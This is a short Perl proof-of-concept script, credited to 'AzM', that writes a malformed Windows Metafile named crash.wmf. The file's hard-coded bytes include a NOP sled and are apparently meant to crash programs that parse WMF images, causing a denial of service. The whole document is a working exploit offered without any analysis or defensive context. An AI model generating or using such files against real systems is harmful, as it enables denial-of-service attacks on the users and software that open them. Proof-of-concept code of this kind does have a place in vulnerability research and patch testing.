#!/usr/bin/perl print "\nWMF PoC denial of service exploit by AzM"; print "\n\ngenerating crash.wmf..."; open(WMF, ">./crash.wmf") or die "cannot create wmf file\n"; print WMF "\x01\x00\x09\x00\x00\x03\x22\x00\x00\x00\x01\x00\x84\x43\x00\x00"; print WMF "\x00\x00\x10\x00\x00\x00\x26\x06\x0A\x00\x16\x00\x90\x90\x90\x90"; print WMF "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; print WMF "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x00\x03\x00"; print WMF "\x00\x00\x00\x00"; close(WMF); print "Ok\n";